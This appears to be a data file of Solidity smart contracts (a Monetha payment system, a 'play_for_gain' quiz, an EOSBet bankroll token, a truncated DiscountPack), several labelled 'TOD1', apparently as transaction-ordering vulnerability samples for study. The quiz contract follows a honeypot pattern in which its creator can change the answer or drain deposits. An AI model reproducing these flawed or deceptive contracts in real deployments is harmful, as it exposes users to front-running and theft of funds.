FEE_PERMILLE.mul(msg.value).div(1000)); // Monetha fee cannot be greater than 1.5% of payment uint merchantIncome = msg.value.sub(_monethaFee); _merchantWallet.transfer(merchantIncome); monethaVault.transfer(_monethaFee); emit PaymentProcessedEther(_merchantWallet, merchantIncome, _monethaFee); } /** * acceptTokenPayment accept token payment from PaymentAcceptor, forwards it to merchant's wallet * and collects Monetha fee. * @param _merchantWallet address of merchant's wallet for fund transfer * @param _monethaFee is a fee collected by Monetha * @param _tokenAddress is the token address * @param _value is the order value */ function acceptTokenPayment( address _merchantWallet, uint _monethaFee, address _tokenAddress, uint _value ) external onlyMonetha whenNotPaused { require(_merchantWallet != 0x0); // Monetha fee cannot be greater than 1.5% of payment require(_monethaFee >= 0 && _monethaFee <= FEE_PERMILLE.mul(_value).div(1000)); uint merchantIncome = _value.sub(_monethaFee); ERC20(_tokenAddress).transfer(_merchantWallet, merchantIncome); ERC20(_tokenAddress).transfer(monethaVault, _monethaFee); emit PaymentProcessedToken(_tokenAddress, _merchantWallet, merchantIncome, _monethaFee); } /** * changeMonethaVault allows owner to change address of Monetha Vault. * @param newVault New address of Monetha Vault */ function changeMonethaVault(address newVault) external onlyOwner whenNotPaused { monethaVault = newVault; } /** * Allows other monetha account or contract to set new monetha address */ function setMonethaAddress(address _address, bool _isMonethaAddress) public { require(msg.sender == admin || msg.sender == owner); isMonethaAddress[_address] = _isMonethaAddress; emit MonethaAddressSet(_address, _isMonethaAddress); } /** * setAdmin allows owner to change address of admin. * @param _admin New address of admin */ function setAdmin(address _admin) public onlyOwner { require(_admin != 0x0); admin = _admin; } } // File: contracts/MerchantDealsHistory.sol /** * @title MerchantDealsHistory * Contract stores hash of Deals conditions together with parties reputation for each deal * This history enables to see evolution of trust rating for both parties */ contract MerchantDealsHistory is Contactable, Restricted { string constant VERSION = "0.3"; /// Merchant identifier hash bytes32 public merchantIdHash; //Deal event event DealCompleted( uint orderId, address clientAddress, uint32 clientReputation, uint32 merchantReputation, bool successful, uint dealHash ); //Deal cancellation event event DealCancelationReason( uint orderId, address clientAddress, uint32 clientReputation, uint32 merchantReputation, uint dealHash, string cancelReason ); //Deal refund event event DealRefundReason( uint orderId, address clientAddress, uint32 clientReputation, uint32 merchantReputation, uint dealHash, string refundReason ); /** * @param _merchantId Merchant of the acceptor */ function MerchantDealsHistory(string _merchantId) public { require(bytes(_merchantId).length > 0); merchantIdHash = keccak256(_merchantId); } /** * recordDeal creates an event of completed deal * @param _orderId Identifier of deal's order * @param _clientAddress Address of client's account * @param _clientReputation Updated reputation of the client * @param _merchantReputation Updated reputation of the merchant * @param _isSuccess Identifies whether deal was successful or not * @param _dealHash Hashcode of the deal, describing the order (used for deal verification) */ function recordDeal( uint _orderId, address _clientAddress, uint32 _clientReputation, uint32 _merchantReputation, bool _isSuccess, uint _dealHash) external onlyMonetha { DealCompleted( _orderId, _clientAddress, _clientReputation, _merchantReputation, _isSuccess, _dealHash ); } /** * recordDealCancelReason creates an event of not paid deal that was cancelled * @param _orderId Identifier of deal's order * @param _clientAddress Address of client's account * @param _clientReputation Updated reputation of the client * @param _merchantReputation Updated reputation of the merchant * @param _dealHash Hashcode of the deal, describing the order (used for deal verification) * @param _cancelReason deal cancelation reason (text) */ function recordDealCancelReason( uint _orderId, address _clientAddress, uint32 _clientReputation, uint32 _merchantReputation, uint _dealHash, string _cancelReason) external onlyMonetha { DealCancelationReason( _orderId, _clientAddress, _clientReputation, _merchantReputation, _dealHash, _cancelReason ); } /** * recordDealRefundReason creates an event of not paid deal that was cancelled * @param _orderId Identifier of deal's order * @param _clientAddress Address of client's account * @param _clientReputation Updated reputation of the client * @param _merchantReputation Updated reputation of the merchant * @param _dealHash Hashcode of the deal, describing the order (used for deal verification) * @param _refundReason deal refund reason (text) */ function recordDealRefundReason( uint _orderId, address _clientAddress, uint32 _clientReputation, uint32 _merchantReputation, uint _dealHash, string _refundReason) external onlyMonetha { DealRefundReason( _orderId, _clientAddress, _clientReputation, _merchantReputation, _dealHash, _refundReason ); } } // File: contracts/SafeDestructible.sol /** * @title SafeDestructible * Base contract that can be destroyed by owner. * Can be destructed if there are no funds on contract balance. */ contract SafeDestructible is Ownable { function destroy() onlyOwner public { require(this.balance == 0); selfdestruct(owner); } } // File: contracts/MerchantWallet.sol /** * @title MerchantWallet * Serves as a public Merchant profile with merchant profile info, * payment settings and latest reputation value. * Also MerchantWallet accepts payments for orders. */ contract MerchantWallet is Pausable, SafeDestructible, Contactable, Restricted { string constant VERSION = "0.5"; /// Address of merchant's account, that can withdraw from wallet address public merchantAccount; /// Address of merchant's fund address. address public merchantFundAddress; /// Unique Merchant identifier hash bytes32 public merchantIdHash; /// profileMap stores general information about the merchant mapping (string=>string) profileMap; /// paymentSettingsMap stores payment and order settings for the merchant mapping (string=>string) paymentSettingsMap; /// compositeReputationMap stores composite reputation, that compraises from several metrics mapping (string=>uint32) compositeReputationMap; /// number of last digits in compositeReputation for fractional part uint8 public constant REPUTATION_DECIMALS = 4; /** * Restrict methods in such way, that they can be invoked only by merchant account. */ modifier onlyMerchant() { require(msg.sender == merchantAccount); _; } /** * Fund Address should always be Externally Owned Account and not a contract. */ modifier isEOA(address _fundAddress) { uint256 _codeLength; assembly {_codeLength := extcodesize(_fundAddress)} require(_codeLength == 0, "sorry humans only"); _; } /** * Restrict methods in such way, that they can be invoked only by merchant account or by monethaAddress account. */ modifier onlyMerchantOrMonetha() { require(msg.sender == merchantAccount || isMonethaAddress[msg.sender]); _; } /** * @param _merchantAccount Address of merchant's account, that can withdraw from wallet * @param _merchantId Merchant identifier * @param _fundAddress Merchant's fund address, where amount will be transferred. */ constructor(address _merchantAccount, string _merchantId, address _fundAddress) public isEOA(_fundAddress) { require(_merchantAccount != 0x0); require(bytes(_merchantId).length > 0); merchantAccount = _merchantAccount; merchantIdHash = keccak256(_merchantId); merchantFundAddress = _fundAddress; } /** * Accept payment from MonethaGateway */ function () external payable { } /** * @return profile info by string key */ function profile(string key) external constant returns (string) { return profileMap[key]; } /** * @return payment setting by string key */ function paymentSettings(string key) external constant returns (string) { return paymentSettingsMap[key]; } /** * @return composite reputation value by string key */ function compositeReputation(string key) external constant returns (uint32) { return compositeReputationMap[key]; } /** * Set profile info by string key */ function setProfile( string profileKey, string profileValue, string repKey, uint32 repValue ) external onlyOwner { profileMap[profileKey] = profileValue; if (bytes(repKey).length != 0) { compositeReputationMap[repKey] = repValue; } } /** * Set payment setting by string key */ function setPaymentSettings(string key, string value) external onlyOwner { paymentSettingsMap[key] = value; } /** * Set composite reputation value by string key */ function setCompositeReputation(string key, uint32 value) external onlyMonetha { compositeReputationMap[key] = value; } /** * Allows withdrawal of funds to beneficiary address */ function doWithdrawal(address beneficiary, uint amount) private { require(beneficiary != 0x0); beneficiary.transfer(amount); } /** * Allows merchant to withdraw funds to beneficiary address */ function withdrawTo(address beneficiary, uint amount) public onlyMerchant whenNotPaused { doWithdrawal(beneficiary, amount); } /** * Allows merchant to withdraw funds to it's own account */ function withdraw(uint amount) external onlyMerchant { withdrawTo(msg.sender, amount); } /** * Allows merchant or Monetha to initiate exchange of funds by withdrawing funds to deposit address of the exchange */ function withdrawToExchange(address depositAccount, uint amount) external onlyMerchantOrMonetha whenNotPaused { doWithdrawal(depositAccount, amount); } /** * Allows merchant or Monetha to initiate exchange of funds by withdrawing all funds to deposit address of the exchange */ function withdrawAllToExchange(address depositAccount, uint min_amount) external onlyMerchantOrMonetha whenNotPaused { require (address(this).balance >= min_amount); doWithdrawal(depositAccount, address(this).balance); } /** * Allows merchant to change it's account address */ function changeMerchantAccount(address newAccount) external onlyMerchant whenNotPaused { merchantAccount = newAccount; } /** * Allows merchant to change it's fund address. */ function changeFundAddress(address newFundAddress) external onlyMerchant isEOA(newFundAddress) { merchantFundAddress = newFundAddress; } } // File: contracts/PaymentProcessor.sol /** * @title PaymentProcessor * Each Merchant has one PaymentProcessor that ensure payment and order processing with Trust and Reputation * * Payment Processor State Transitions: * Null -(addOrder) -> Created * Created -(securePay) -> Paid * Created -(cancelOrder) -> Cancelled * Paid -(refundPayment) -> Refunding * Paid -(processPayment) -> Finalized * Refunding -(withdrawRefund) -> Refunded */ contract PaymentProcessor is Pausable, Destructible, Contactable, Restricted { using SafeMath for uint256; string constant VERSION = "0.5"; /** * Fee permille of Monetha fee. * 1 permille = 0.1 % * 15 permille = 1.5% */ uint public constant FEE_PERMILLE = 15; /// MonethaGateway contract for payment processing MonethaGateway public monethaGateway; /// MerchantDealsHistory contract of acceptor's merchant MerchantDealsHistory public merchantHistory; /// Address of MerchantWallet, where merchant reputation and funds are stored MerchantWallet public merchantWallet; /// Merchant identifier hash, that associates with the acceptor bytes32 public merchantIdHash; enum State {Null, Created, Paid, Finalized, Refunding, Refunded, Cancelled} struct Order { State state; uint price; uint fee; address paymentAcceptor; address originAddress; address tokenAddress; } mapping (uint=>Order) public orders; /** * Asserts current state. * @param _state Expected state * @param _orderId Order Id */ modifier atState(uint _orderId, State _state) { require(_state == orders[_orderId].state); _; } /** * Performs a transition after function execution. * @param _state Next state * @param _orderId Order Id */ modifier transition(uint _orderId, State _state) { _; orders[_orderId].state = _state; } /** * payment Processor sets Monetha Gateway * @param _merchantId Merchant of the acceptor * @param _merchantHistory Address of MerchantDealsHistory contract of acceptor's merchant * @param _monethaGateway Address of MonethaGateway contract for payment processing * @param _merchantWallet Address of MerchantWallet, where merchant reputation and funds are stored */ constructor( string _merchantId, MerchantDealsHistory _merchantHistory, MonethaGateway _monethaGateway, MerchantWallet _merchantWallet ) public { require(bytes(_merchantId).length > 0); merchantIdHash = keccak256(_merchantId); setMonethaGateway(_monethaGateway); setMerchantWallet(_merchantWallet); setMerchantDealsHistory(_merchantHistory); } /** * Assigns the acceptor to the order (when client initiates order). * @param _orderId Identifier of the order * @param _price Price of the order * @param _paymentAcceptor order payment acceptor * @param _originAddress buyer address * @param _fee Monetha fee */ function addOrder( uint _orderId, uint _price, address _paymentAcceptor, address _originAddress, uint _fee, address _tokenAddress ) external onlyMonetha whenNotPaused atState(_orderId, State.Null) { require(_orderId > 0); require(_price > 0); require(_fee >= 0 && _fee <= FEE_PERMILLE.mul(_price).div(1000)); // Monetha fee cannot be greater than 1.5% of price orders[_orderId] = Order({ state: State.Created, price: _price, fee: _fee, paymentAcceptor: _paymentAcceptor, originAddress: _originAddress, tokenAddress: _tokenAddress }); } /** * securePay can be used by client if he wants to securely set client address for refund together with payment. * This function require more gas, then fallback function. * @param _orderId Identifier of the order */ function securePay(uint _orderId) external payable whenNotPaused atState(_orderId, State.Created) transition(_orderId, State.Paid) { Order storage order = orders[_orderId]; require(msg.sender == order.paymentAcceptor); require(msg.value == order.price); } /** * secureTokenPay can be used by client if he wants to securely set client address for token refund together with token payment. * This call requires that token's approve method has been called prior to this. * @param _orderId Identifier of the order */ function secureTokenPay(uint _orderId) external whenNotPaused atState(_orderId, State.Created) transition(_orderId, State.Paid) { Order storage order = orders[_orderId]; require(msg.sender == order.paymentAcceptor); require(order.tokenAddress != address(0)); ERC20(order.tokenAddress).transferFrom(msg.sender, address(this), order.price); } /** * cancelOrder is used when client doesn't pay and order need to be cancelled. * @param _orderId Identifier of the order * @param _clientReputation Updated reputation of the client * @param _merchantReputation Updated reputation of the merchant * @param _dealHash Hashcode of the deal, describing the order (used for deal verification) * @param _cancelReason Order cancel reason */ function cancelOrder( uint _orderId, uint32 _clientReputation, uint32 _merchantReputation, uint _dealHash, string _cancelReason ) external onlyMonetha whenNotPaused atState(_orderId, State.Created) transition(_orderId, State.Cancelled) { require(bytes(_cancelReason).length > 0); Order storage order = orders[_orderId]; updateDealConditions( _orderId, _clientReputation, _merchantReputation, false, _dealHash ); merchantHistory.recordDealCancelReason( _orderId, order.originAddress, _clientReputation, _merchantReputation, _dealHash, _cancelReason ); } /** * refundPayment used in case order cannot be processed. * This function initiate process of funds refunding to the client. * @param _orderId Identifier of the order * @param _clientReputation Updated reputation of the client * @param _merchantReputation Updated reputation of the merchant * @param _dealHash Hashcode of the deal, describing the order (used for deal verification) * @param _refundReason Order refund reason, order will be moved to State Cancelled after Client withdraws money */ function refundPayment( uint _orderId, uint32 _clientReputation, uint32 _merchantReputation, uint _dealHash, string _refundReason ) external onlyMonetha whenNotPaused atState(_orderId, State.Paid) transition(_orderId, State.Refunding) { require(bytes(_refundReason).length > 0); Order storage order = orders[_orderId]; updateDealConditions( _orderId, _clientReputation, _merchantReputation, false, _dealHash ); merchantHistory.recordDealRefundReason( _orderId, order.originAddress, _clientReputation, _merchantReputation, _dealHash, _refundReason ); } /** * withdrawRefund performs fund transfer to the client's account. * @param _orderId Identifier of the order */ function withdrawRefund(uint _orderId) external whenNotPaused atState(_orderId, State.Refunding) transition(_orderId, State.Refunded) { Order storage order = orders[_orderId]; order.originAddress.transfer(order.price); } /** * withdrawTokenRefund performs token transfer to the client's account. * @param _orderId Identifier of the order */ function withdrawTokenRefund(uint _orderId) external whenNotPaused atState(_orderId, State.Refunding) transition(_orderId, State.Refunded) { require(orders[_orderId].tokenAddress != address(0)); ERC20(orders[_orderId].tokenAddress).transfer(orders[_orderId].originAddress, orders[_orderId].price); } /** * processPayment transfer funds/tokens to MonethaGateway and completes the order. * @param _orderId Identifier of the order * @param _clientReputation Updated reputation of the client * @param _merchantReputation Updated reputation of the merchant * @param _dealHash Hashcode of the deal, describing the order (used for deal verification) */ function processPayment( uint _orderId, uint32 _clientReputation, uint32 _merchantReputation, uint _dealHash ) external onlyMonetha whenNotPaused atState(_orderId, State.Paid) transition(_orderId, State.Finalized) { address fundAddress; fundAddress = merchantWallet.merchantFundAddress(); if (orders[_orderId].tokenAddress != address(0)) { if (fundAddress != address(0)) { ERC20(orders[_orderId].tokenAddress).transfer(address(monethaGateway), orders[_orderId].price); monethaGateway.acceptTokenPayment(fundAddress, orders[_orderId].fee, orders[_orderId].tokenAddress, orders[_orderId].price); } else { ERC20(orders[_orderId].tokenAddress).transfer(address(monethaGateway), orders[_orderId].price); monethaGateway.acceptTokenPayment(merchantWallet, orders[_orderId].fee, orders[_orderId].tokenAddress, orders[_orderId].price); } } else { if (fundAddress != address(0)) { monethaGateway.acceptPayment.value(orders[_orderId].price)(fundAddress, orders[_orderId].fee); } else { monethaGateway.acceptPayment.value(orders[_orderId].price)(merchantWallet, orders[_orderId].fee); } } updateDealConditions( _orderId, _clientReputation, _merchantReputation, true, _dealHash ); } /** * setMonethaGateway allows owner to change address of MonethaGateway. * @param _newGateway Address of new MonethaGateway contract */ function setMonethaGateway(MonethaGateway _newGateway) public onlyOwner { require(address(_newGateway) != 0x0); monethaGateway = _newGateway; } /** * setMerchantWallet allows owner to change address of MerchantWallet. * @param _newWallet Address of new MerchantWallet contract */ function setMerchantWallet(MerchantWallet _newWallet) public onlyOwner { require(address(_newWallet) != 0x0); require(_newWallet.merchantIdHash() == merchantIdHash); merchantWallet = _newWallet; } /** * setMerchantDealsHistory allows owner to change address of MerchantDealsHistory. * @param _merchantHistory Address of new MerchantDealsHistory contract */ function setMerchantDealsHistory(MerchantDealsHistory _merchantHistory) public onlyOwner { require(address(_merchantHistory) != 0x0); require(_merchantHistory.merchantIdHash() == merchantIdHash); merchantHistory = _merchantHistory; } /** * updateDealConditions record finalized deal and updates merchant reputation * in future: update Client reputation * @param _orderId Identifier of the order * @param _clientReputation Updated reputation of the client * @param _merchantReputation Updated reputation of the merchant * @param _isSuccess Identifies whether deal was successful or not * @param _dealHash Hashcode of the deal, describing the order (used for deal verification) */ function updateDealConditions( uint _orderId, uint32 _clientReputation, uint32 _merchantReputation, bool _isSuccess, uint _dealHash ) internal { merchantHistory.recordDeal( _orderId, orders[_orderId].originAddress, _clientReputation, _merchantReputation, _isSuccess, _dealHash ); //update parties Reputation merchantWallet.setCompositeReputation("total", _merchantReputation); } }
TOD1
pragma solidity ^0.4.20; contract play_for_gain { function Try(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value>1 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; function start_play_for_gain(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { require(msg.sender==questionSender); question = _question; responseHash = _responseHash; } function() public payable{} }
TOD1
pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract EOSBetGameInterface { uint256 public DEVELOPERSFUND; uint256 public LIABILITIES; function payDevelopersFund(address developer) public; function receivePaymentForOraclize() payable public; function getMaxWin() public view returns(uint256); } contract EOSBetBankrollInterface { function payEtherToWinner(uint256 amtEther, address winner) public; function receiveEtherFromGameAddress() payable public; function payOraclize(uint256 amountToPay) public; function getBankroll() public view returns(uint256); } contract ERC20 { function totalSupply() constant public returns (uint supply); function balanceOf(address _owner) constant public returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) constant public returns (uint remaining); event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } contract EOSBetBankroll is ERC20, EOSBetBankrollInterface { using SafeMath for *; // constants for EOSBet Bankroll address public OWNER; uint256 public MAXIMUMINVESTMENTSALLOWED; uint256 public WAITTIMEUNTILWITHDRAWORTRANSFER; uint256 public DEVELOPERSFUND; // this will be initialized as the trusted game addresses which will forward their ether // to the bankroll contract, and when players win, they will request the bankroll contract // to send these players their winnings. // Feel free to audit these contracts on etherscan... mapping(address => bool) public TRUSTEDADDRESSES; address public DICE; address public SLOTS; // mapping to log the last time a user contributed to the bankroll mapping(address => uint256) contributionTime; // constants for ERC20 standard string public constant name = "EOSBet Stake Tokens"; string public constant symbol = "EOSBETST"; uint8 public constant decimals = 18; // variable total supply uint256 public totalSupply; // mapping to store tokens mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) public allowed; // events event FundBankroll(address contributor, uint256 etherContributed, uint256 tokensReceived); event CashOut(address contributor, uint256 etherWithdrawn, uint256 tokensCashedIn); event FailedSend(address sendTo, uint256 amt); // checks that an address is a "trusted address of a legitimate EOSBet game" modifier addressInTrustedAddresses(address thisAddress){ require(TRUSTEDADDRESSES[thisAddress]); _; } // initialization function function EOSBetBankroll(address dice, address slots) public payable { // function is payable, owner of contract MUST "seed" contract with some ether, // so that the ratios are correct when tokens are being minted require (msg.value > 0); OWNER = msg.sender; // 100 tokens/ether is the inital seed amount, so: uint256 initialTokens = msg.value * 100; balances[msg.sender] = initialTokens; totalSupply = initialTokens; // log a mint tokens event emit Transfer(0x0, msg.sender, initialTokens); // insert given game addresses into the TRUSTEDADDRESSES mapping, and save the addresses as global variables TRUSTEDADDRESSES[dice] = true; TRUSTEDADDRESSES[slots] = true; DICE = dice; SLOTS = slots; WAITTIMEUNTILWITHDRAWORTRANSFER = 6 hours; MAXIMUMINVESTMENTSALLOWED = 500 ether; } /////////////////////////////////////////////// // VIEW FUNCTIONS /////////////////////////////////////////////// function checkWhenContributorCanTransferOrWithdraw(address bankrollerAddress) view public returns(uint256){ return contributionTime[bankrollerAddress]; } function getBankroll() view public returns(uint256){ // returns the total balance minus the developers fund, as the amount of active bankroll return SafeMath.sub(address(this).balance, DEVELOPERSFUND); } /////////////////////////////////////////////// // BANKROLL CONTRACT <-> GAME CONTRACTS functions /////////////////////////////////////////////// function payEtherToWinner(uint256 amtEther, address winner) public addressInTrustedAddresses(msg.sender){ // this function will get called by a game contract when someone wins a game // try to send, if it fails, then send the amount to the owner // note, this will only happen if someone is calling the betting functions with // a contract. They are clearly up to no good, so they can contact us to retreive // their ether // if the ether cannot be sent to us, the OWNER, that means we are up to no good, // and the ether will just be given to the bankrollers as if the player/owner lost if (! winner.send(amtEther)){ emit FailedSend(winner, amtEther); if (! OWNER.send(amtEther)){ emit FailedSend(OWNER, amtEther); } } } function receiveEtherFromGameAddress() payable public addressInTrustedAddresses(msg.sender){ // this function will get called from the game contracts when someone starts a game. } function payOraclize(uint256 amountToPay) public addressInTrustedAddresses(msg.sender){ // this function will get called when a game contract must pay payOraclize EOSBetGameInterface(msg.sender).receivePaymentForOraclize.value(amountToPay)(); } /////////////////////////////////////////////// // BANKROLL CONTRACT MAIN FUNCTIONS /////////////////////////////////////////////// // this function ADDS to the bankroll of EOSBet, and credits the bankroller a proportional // amount of tokens so they may withdraw their tokens later // also if there is only a limited amount of space left in the bankroll, a user can just send as much // ether as they want, because they will be able to contribute up to the maximum, and then get refunded the rest. function () public payable { // save in memory for cheap access. // this represents the total bankroll balance before the function was called. uint256 currentTotalBankroll = SafeMath.sub(getBankroll(), msg.value); uint256 maxInvestmentsAllowed = MAXIMUMINVESTMENTSALLOWED; require(currentTotalBankroll < maxInvestmentsAllowed && msg.value != 0); uint256 currentSupplyOfTokens = totalSupply; uint256 contributedEther; bool contributionTakesBankrollOverLimit; uint256 ifContributionTakesBankrollOverLimit_Refund; uint256 creditedTokens; if (SafeMath.add(currentTotalBankroll, msg.value) > maxInvestmentsAllowed){ // allow the bankroller to contribute up to the allowed amount of ether, and refund the rest. contributionTakesBankrollOverLimit = true; // set contributed ether as (MAXIMUMINVESTMENTSALLOWED - BANKROLL) contributedEther = SafeMath.sub(maxInvestmentsAllowed, currentTotalBankroll); // refund the rest of the ether, which is (original amount sent - (maximum amount allowed - bankroll)) ifContributionTakesBankrollOverLimit_Refund = SafeMath.sub(msg.value, contributedEther); } else { contributedEther = msg.value; } if (currentSupplyOfTokens != 0){ // determine the ratio of contribution versus total BANKROLL. creditedTokens = SafeMath.mul(contributedEther, currentSupplyOfTokens) / currentTotalBankroll; } else { // edge case where ALL money was cashed out from bankroll // so currentSupplyOfTokens == 0 // currentTotalBankroll can == 0 or not, if someone mines/selfdestruct's to the contract // but either way, give all the bankroll to person who deposits ether creditedTokens = SafeMath.mul(contributedEther, 100); } // now update the total supply of tokens and bankroll amount totalSupply = SafeMath.add(currentSupplyOfTokens, creditedTokens); // now credit the user with his amount of contributed tokens balances[msg.sender] = SafeMath.add(balances[msg.sender], creditedTokens); // update his contribution time for stake time locking contributionTime[msg.sender] = block.timestamp; // now look if the attempted contribution would have taken the BANKROLL over the limit, // and if true, refund the excess ether. if (contributionTakesBankrollOverLimit){ msg.sender.transfer(ifContributionTakesBankrollOverLimit_Refund); } // log an event about funding bankroll emit FundBankroll(msg.sender, contributedEther, creditedTokens); // log a mint tokens event emit Transfer(0x0, msg.sender, creditedTokens); } function cashoutEOSBetStakeTokens(uint256 _amountTokens) public { // In effect, this function is the OPPOSITE of the un-named payable function above^^^ // this allows bankrollers to "cash out" at any time, and receive the ether that they contributed, PLUS // a proportion of any ether that was earned by the smart contact when their ether was "staking", However // this works in reverse as well. Any net losses of the smart contract will be absorbed by the player in like manner. // Of course, due to the constant house edge, a bankroller that leaves their ether in the contract long enough // is effectively guaranteed to withdraw more ether than they originally "staked" // save in memory for cheap access. uint256 tokenBalance = balances[msg.sender]; // verify that the contributor has enough tokens to cash out this many, and has waited the required time. require(_amountTokens <= tokenBalance && contributionTime[msg.sender] + WAITTIMEUNTILWITHDRAWORTRANSFER <= block.timestamp && _amountTokens > 0); // save in memory for cheap access. // again, represents the total balance of the contract before the function was called. uint256 currentTotalBankroll = getBankroll(); uint256 currentSupplyOfTokens = totalSupply; // calculate the token withdraw ratio based on current supply uint256 withdrawEther = SafeMath.mul(_amountTokens, currentTotalBankroll) / currentSupplyOfTokens; // developers take 1% of withdrawls uint256 developersCut = withdrawEther / 100; uint256 contributorAmount = SafeMath.sub(withdrawEther, developersCut); // now update the total supply of tokens by subtracting the tokens that are being "cashed in" totalSupply = SafeMath.sub(currentSupplyOfTokens, _amountTokens); // and update the users supply of tokens balances[msg.sender] = SafeMath.sub(tokenBalance, _amountTokens); // update the developers fund based on this calculated amount DEVELOPERSFUND = SafeMath.add(DEVELOPERSFUND, developersCut); // lastly, transfer the ether back to the bankroller. Thanks for your contribution! msg.sender.transfer(contributorAmount); // log an event about cashout emit CashOut(msg.sender, contributorAmount, _amountTokens); // log a destroy tokens event emit Transfer(msg.sender, 0x0, _amountTokens); } // TO CALL THIS FUNCTION EASILY, SEND A 0 ETHER TRANSACTION TO THIS CONTRACT WITH EXTRA DATA: 0x7a09588b function cashoutEOSBetStakeTokens_ALL() public { // just forward to cashoutEOSBetStakeTokens with input as the senders entire balance cashoutEOSBetStakeTokens(balances[msg.sender]); } //////////////////// // OWNER FUNCTIONS: //////////////////// // Please, be aware that the owner ONLY can change: // 1. The owner can increase or decrease the target amount for a game. They can then call the updater function to give/receive the ether from the game. // 1. The wait time until a user can withdraw or transfer their tokens after purchase through the default function above ^^^ // 2. The owner can change the maximum amount of investments allowed. This allows for early contributors to guarantee // a certain percentage of the bankroll so that their stake cannot be diluted immediately. However, be aware that the // maximum amount of investments allowed will be raised over time. This will allow for higher bets by gamblers, resulting // in higher dividends for the bankrollers // 3. The owner can freeze payouts to bettors. This will be used in case of an emergency, and the contract will reject all // new bets as well. This does not mean that bettors will lose their money without recompense. They will be allowed to call the // "refund" function in the respective game smart contract once payouts are un-frozen. // 4. Finally, the owner can modify and withdraw the developers reward, which will fund future development, including new games, a sexier frontend, // and TRUE DAO governance so that onlyOwner functions don't have to exist anymore ;) and in order to effectively react to changes // in the market (lower the percentage because of increased competition in the blockchain casino space, etc.) function transferOwnership(address newOwner) public { require(msg.sender == OWNER); OWNER = newOwner; } function changeWaitTimeUntilWithdrawOrTransfer(uint256 waitTime) public { // waitTime MUST be less than or equal to 10 weeks require (msg.sender == OWNER && waitTime <= 6048000); WAITTIMEUNTILWITHDRAWORTRANSFER = waitTime; } function changeMaximumInvestmentsAllowed(uint256 maxAmount) public { require(msg.sender == OWNER); MAXIMUMINVESTMENTSALLOWED = maxAmount; } function withdrawDevelopersFund(address receiver) public { require(msg.sender == OWNER); // first get developers fund from each game EOSBetGameInterface(DICE).payDevelopersFund(receiver); EOSBetGameInterface(SLOTS).payDevelopersFund(receiver); // now send the developers fund from the main contract. uint256 developersFund = DEVELOPERSFUND; // set developers fund to zero DEVELOPERSFUND = 0; // transfer this amount to the owner! receiver.transfer(developersFund); } // rescue tokens inadvertently sent to the contract address function ERC20Rescue(address tokenAddress, uint256 amtTokens) public { require (msg.sender == OWNER); ERC20(tokenAddress).transfer(msg.sender, amtTokens); } /////////////////////////////// // BASIC ERC20 TOKEN OPERATIONS /////////////////////////////// function totalSupply() constant public returns(uint){ return totalSupply; } function balanceOf(address _owner) constant public returns(uint){ return balances[_owner]; } // don't allow transfers before the required wait-time // and don't allow transfers to this contract addr, it'll just kill tokens function transfer(address _to, uint256 _value) public returns (bool success){ require(balances[msg.sender] >= _value && contributionTime[msg.sender] + WAITTIMEUNTILWITHDRAWORTRANSFER <= block.timestamp && _to != address(this) && _to != address(0)); // safely subtract balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] = SafeMath.add(balances[_to], _value); // log event emit Transfer(msg.sender, _to, _value); return true; } // don't allow transfers before the required wait-time // and don't allow transfers to the contract addr, it'll just kill tokens function transferFrom(address _from, address _to, uint _value) public returns(bool){ require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value && contributionTime[_from] + WAITTIMEUNTILWITHDRAWORTRANSFER <= block.timestamp && _to != address(this) && _to != address(0)); // safely add to _to and subtract from _from, and subtract from allowed balances. balances[_to] = SafeMath.add(balances[_to], _value); balances[_from] = SafeMath.sub(balances[_from], _value); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); // log event emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public returns(bool){ allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); // log event return true; } function allowance(address _owner, address _spender) constant public returns(uint){ return allowed[_owner][_spender]; } }
TOD1
pragma solidity 0.4.24; contract Ownable { address public owner; constructor() public { owner = msg.sender; } function setOwner(address _owner) public onlyOwner { owner = _owner; } modifier onlyOwner { require(msg.sender == owner); _; } } contract PurchasePackInterface { function basePrice() public returns (uint); function purchaseFor(address user, uint16 packCount, address referrer) public payable; } contract Vault is Ownable { function () public payable { } function getBalance() public view returns (uint) { return address(this).balance; } function withdraw(uint amount) public onlyOwner { require(address(this).balance >= amount); owner.transfer(amount); } function withdrawAll() public onlyOwner { withdraw(address(this).balance); } } contract DiscountPack is Vault { PurchasePackInterface private pack; uint public basePrice; uint public baseDiscount; constructor(PurchasePackInterface packToDiscount) public { pack = packToDiscount; baseDiscount = uint(7) * pack.basePrice() / uint(100); basePrice = pack.basePrice() - baseDiscount; } event PackDiscount(address purchaser, uint16 packs, uint discount); function() public payable {} function purchase(uint16 packs) public payable { uint discountedPrice = packs * basePrice; uint discount = packs * baseDiscount; uint fullPrice = discountedPrice + discount; require(msg.value >= discountedPrice, "Not enough value for the desired pack count."); require(address(this).balance >= discount, "This contract is out 